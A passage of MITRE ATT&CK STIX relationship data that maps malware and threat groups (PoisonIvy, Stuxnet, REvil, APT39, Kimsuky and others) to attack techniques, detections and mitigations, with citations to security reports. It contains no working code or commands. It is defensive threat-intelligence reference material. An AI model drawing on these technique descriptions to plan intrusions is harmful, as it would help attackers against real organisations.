2020."}],"modified":"2020-10-06T16:10:42.741Z","description":"[SoreFang](https://attack.mitre.org/software/S0516) can collect usernames from the local system via net.exe user.(Citation: CISA SoreFang July 2016)","relationship_type":"uses","source_ref":"malware--e33e4603-afab-402d-b2a1-248d435b5fe0","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--962db69e-efe1-4e5f-b845-99294ace5eb0","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Darkmoon Aug 2005","description":"Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99"}],"modified":"2020-03-19T19:49:30.380Z","description":"[PoisonIvy](https://attack.mitre.org/software/S0012) creates a backdoor through which remote attackers can open a command-line interface.(Citation: Symantec Darkmoon Aug 2005)","relationship_type":"uses","source_ref":"malware--b42378e0-f147-496f-992a-26a49705395b","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--962f1bc9-89f8-4fbe-b981-b63cce196cbf","type":"relationship","created":"2021-08-31T13:34:25.490Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021."}],"modified":"2021-08-31T13:34:25.490Z","description":"(Citation: CISA AA21-200A APT40 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--963065c2-36e5-426c-8580-a109ad0d7b60","created":"2022-03-30T14:26:51.842Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for unusual queries to the cloud provider's storage service. Activity originating from unexpected sources may indicate improper permissions are set and are allowing access to data. Additionally, detecting failed attempts by a user for a certain object, followed by escalation of privileges by the same user, and access to the same object may be an indication of suspicious activity.","modified":"2022-04-14T15:36:54.966Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--58ef998c-f3bf-4985-b487-b1005f5c05d1","target_ref":"attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--96311328-0188-437f-b1c6-1f95676732e0","type":"relationship","created":"2020-10-20T03:11:48.916Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-15T03:19:38.563Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--db8f5003-3b20-48f0-9b76-123e44208120","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9631e908-4538-4d61-943f-2b682e72b903","created":"2023-09-27T20:18:53.883Z","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-27T20:18:53.883Z","description":"[NightClub](https://attack.mitre.org/software/S1090) can use a plugin for keylogging.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"malware--91c57ed3-7c32-4c68-b388-7db00cb8dac6","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--96417d00-2a6b-4a22-b43c-f65cb60da952","type":"relationship","created":"2021-03-02T16:42:09.554Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CERT-FR PYSA April 2020","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf","description":"CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021."}],"modified":"2021-04-27T03:33:35.425Z","description":"[Pysa](https://attack.mitre.org/software/S0583) has used [PsExec](https://attack.mitre.org/software/S0029) to copy and execute the ransomware.(Citation: CERT-FR PYSA April 2020)","relationship_type":"uses","source_ref":"malware--a19c1197-9414-46e3-986f-0f609ff4a46b","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--964233cc-fa6c-4754-9684-6546eb6d5a4a","created":"2019-02-21T21:17:37.831Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT39 Jan 2019","description":"Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html"},{"source_name":"BitDefender Chafer May 2020","description":"Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020.","url":"https://www.bitdefender.com/blog/labs/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/"},{"source_name":"Symantec Chafer February 2018","description":"Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-18T16:19:53.784Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has used [NBTscan](https://attack.mitre.org/software/S0590) and custom tools to discover remote systems.(Citation: FireEye APT39 Jan 2019)(Citation: BitDefender Chafer May 2020)(Citation: Symantec Chafer February 2018)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9648bb23-1d68-4d76-bc42-e371889e4acf","created":"2024-05-17T13:27:35.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"RedCanary RaspberryRobin 2022","description":"Lauren Podber and Stef Rand. (2022, May 5). Raspberry Robin gets the worm early. Retrieved May 17, 2024.","url":"https://redcanary.com/blog/threat-intelligence/raspberry-robin/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-16T17:52:56.136Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) uses the Windows utility odbcconf.exe to execute malicious commands, using the regsvr flag to execute DLLs and bypass application control mechanisms that are not monitoring for odbcconf.exe abuse.(Citation: RedCanary RaspberryRobin 2022)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--6e3bd510-6b33-41a4-af80-2d80f3ee0071","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--964a9222-6e88-4850-89cc-6fc0f10ee4c9","created":"2019-09-23T23:08:25.400Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.534Z","description":"[APT41](https://attack.mitre.org/groups/G0096) used legitimate websites for C2 through dead drop resolvers (DDR), including GitHub, Pastebin, and Microsoft TechNet.(Citation: FireEye APT41 Aug 2019)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9654ee15-fdca-4d74-98b8-11a81a19d892","created":"2023-02-24T22:40:30.142Z","revoked":false,"external_references":[{"source_name":"Microsoft Prestige ransomware October 2022","description":"MSTIC. (2022, October 14). New “Prestige” ransomware impacts organizations in Ukraine and Poland. Retrieved January 19, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-24T22:40:30.142Z","description":"[Prestige](https://attack.mitre.org/software/S1058) has used the `Wow64DisableWow64FsRedirection()` and `Wow64RevertWow64FsRedirection()` functions to disable and restore file system redirection.(Citation: Microsoft Prestige ransomware October 2022) ","relationship_type":"uses","source_ref":"malware--1da748a5-875d-4212-9222-b4c23ab861be","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9655304e-7bdb-4375-8789-2bfecc5b0a64","type":"relationship","created":"2020-11-05T14:39:22.935Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-301A Kimsuky","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-301a","description":"CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."}],"modified":"2021-04-22T13:24:39.423Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used RDP to establish persistence.(Citation: CISA AA20-301A Kimsuky)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--96575047-df79-4e74-9f88-44307a46bce0","type":"relationship","created":"2020-03-09T14:38:24.631Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-09T14:38:24.631Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--965cdcbc-f139-4065-a8cd-ab09674ae20b","type":"relationship","created":"2020-08-05T15:09:37.751Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Intel 471 REvil March 2020","url":"https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/","description":"Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service – An analysis of a ransomware affiliate operation. Retrieved August 4, 2020."}],"modified":"2021-04-06T14:42:52.770Z","description":"[REvil](https://attack.mitre.org/software/S0496) can enumerate active services.(Citation: Intel 471 REvil March 2020)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--965ea950-3680-4317-8f73-996157632a0e","type":"relationship","created":"2021-10-01T21:53:33.664Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity InkySquid BLUELIGHT August 2021","url":"https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/","description":"Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021."}],"modified":"2021-10-15T16:54:01.561Z","description":"[BLUELIGHT](https://attack.mitre.org/software/S0657) can collect passwords stored in web browers, including Internet Explorer, Edge, Chrome, and Naver Whale.(Citation: Volexity InkySquid BLUELIGHT August 2021)","relationship_type":"uses","source_ref":"malware--8bd47506-29ae-44ea-a5c1-c57e8a1ab6b0","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9663d78b-0a81-42af-93b0-8e62cc3af2d7","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Orangeworm April 2018","description":"Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"}],"modified":"2020-03-18T00:52:19.001Z","description":"[Kwampirs](https://attack.mitre.org/software/S0236) copies itself over network shares to move laterally on a victim network.(Citation: Symantec Orangeworm April 2018)","relationship_type":"uses","source_ref":"malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--96640478-b6a5-40b6-8928-b1c0cc5ad3ef","created":"2020-12-29T16:20:58.888Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T18:06:50.183Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) enumerates removable drives for infection.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--96667f6c-e625-4696-92b5-d65d142b3f43","type":"relationship","created":"2021-10-06T02:04:09.775Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"hexed osx.dok analysis 2019","url":"http://www.hexed.in/2019/07/osxdok-analysis.html","description":"fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved October 4, 2021."}],"modified":"2021-10-09T19:14:07.293Z","description":"[Dok](https://attack.mitre.org/software/S0281) exfiltrates logs of its execution stored in the /tmp folder over FTP using the curl command.(Citation: hexed osx.dok analysis 2019) ","relationship_type":"uses","source_ref":"malware--f36b2598-515f-4345-84e5-5ccde253edbe","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--96673f49-a12b-4d0a-954f-17117b02bfa1","created":"2024-09-25T20:03:39.999Z","revoked":false,"external_references":[{"source_name":"Trend Micro Ransomware Spotlight Play July 2023","description":"Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T20:03:39.999Z","description":"(Citation: Trend Micro Ransomware Spotlight Play July 2023)","relationship_type":"uses","source_ref":"intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d","target_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9669920d-eff9-4436-9357-409eb7db002c","type":"relationship","created":"2019-01-30T19:50:46.689Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/","source_name":"Unit 42 NOKKI Sept 2018"}],"modified":"2020-03-17T01:58:31.475Z","description":"[NOKKI](https://attack.mitre.org/software/S0353) can delete files to cover tracks.(Citation: Unit 42 NOKKI Sept 2018)","relationship_type":"uses","source_ref":"malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--966ce7a3-4306-4003-89d8-9d6af89a0c2e","created":"2022-09-23T13:09:53.620Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-23T13:09:53.620Z","description":"[ccf32](https://attack.mitre.org/software/S1043) can temporarily store files in a hidden directory on the local host.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--a394448a-4576-41b8-81cc-9b61abad94ab","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--966e98f6-1460-4305-8993-57ee3f3f5654","type":"relationship","created":"2021-05-03T17:17:12.063Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Certfa Charming Kitten January 2021","url":"https://blog.certfa.com/posts/charming-kitten-christmas-gift/","description":"Certfa Labs. (2021, January 8). Charming Kitten’s Christmas Gift. Retrieved May 3, 2021."}],"modified":"2021-06-02T16:31:56.207Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has compromised email credentials in order to steal sensitive data.(Citation: Certfa Charming Kitten January 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--96705ab7-dfd9-4360-a0bb-e434bd194697","created":"2024-01-23T19:26:30.146Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-23T19:26:30.146Z","description":"[ToddyCat](https://attack.mitre.org/groups/G1022) has used locally mounted network shares for lateral movement through targated environments.(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9670979e-9785-45f0-a470-f591c97f6f8a","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT34 Dec 2017","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"}],"modified":"2020-03-17T02:14:55.878Z","description":"[POWRUNER](https://attack.mitre.org/software/S0184) may enumerate user directories on a victim.(Citation: FireEye APT34 Dec 2017)","relationship_type":"uses","source_ref":"malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--96741d5a-c680-44d8-a895-a6437dcb1083","type":"relationship","created":"2022-03-30T14:26:51.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.842Z","description":"Monitor for newly constructed pods that may deploy a container into an environment to facilitate execution or evade defenses.","source_ref":"x-mitre-data-component--5263cb33-08cc-4a68-820f-004e1e400d76","target_ref":"attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--96772bc0-7a9e-4688-95a2-67fff1646be4","type":"relationship","created":"2020-12-22T21:03:01.890Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."},{"source_name":"ClearSky Pay2Kitten December 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf","description":"ClearSky. (2020, December 17). Pay2Key Ransomware – A New Campaign by Fox Kitten. Retrieved December 21, 2020."}],"modified":"2020-12-29T20:23:05.371Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has installed web shells on compromised hosts to maintain access.(Citation: CISA AA20-259A Iran-Based Actor September 2020)(Citation: ClearSky Pay2Kitten December 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9677d051-2bac-4686-8611-2d089d3d4b58","type":"relationship","created":"2021-09-14T16:04:26.819Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group WastedLocker June 2020","url":"https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/","description":"Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021."}],"modified":"2021-09-14T18:41:10.532Z","description":"[WastedLocker](https://attack.mitre.org/software/S0612) checks for specific registry keys related to the UCOMIEnumConnections and IActiveScriptParseProcedure32 interfaces.(Citation: NCC Group WastedLocker June 2020)","relationship_type":"uses","source_ref":"malware--46cbafbc-8907-42d3-9002-5327c26f8927","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--96797e47-8984-40f8-ac55-af9fd0fecf55","created":"2022-09-27T18:10:01.213Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T18:10:01.213Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors targeted people based on their organizational roles and privileges.(Citation: FoxIT Wocao December 